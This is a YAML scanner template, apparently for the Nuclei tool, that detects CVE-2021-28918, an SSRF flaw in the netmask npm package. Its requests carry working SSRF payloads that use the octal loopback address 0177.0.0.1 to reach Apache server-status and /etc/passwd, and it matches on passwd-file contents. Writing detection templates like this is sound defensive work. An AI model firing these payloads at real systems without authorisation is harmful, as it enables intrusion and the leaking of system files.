39 lines
1.3 KiB
YAML
39 lines
1.3 KiB
YAML
id: CVE-2021-28918
|
|
|
|
info:
|
|
name: Netmask NPM Package SSRF
|
|
author: johnjhacking
|
|
severity: critical
|
|
description: Improper input validation of octal strings in netmask npm package allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
|
|
tags: cve,cve2021,npm,netmask,ssrf,lfi
|
|
reference:
|
|
- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-28918
|
|
- https://github.com/advisories/GHSA-pch5-whg9-qr2r
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
|
|
cvss-score: 9.10
|
|
cve-id: CVE-2021-28918
|
|
cwe-id: CWE-20
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
|
|
- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
|
|
- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: or
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "Apache Server Status"
|
|
- "Server Version"
|
|
condition: and
|
|
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|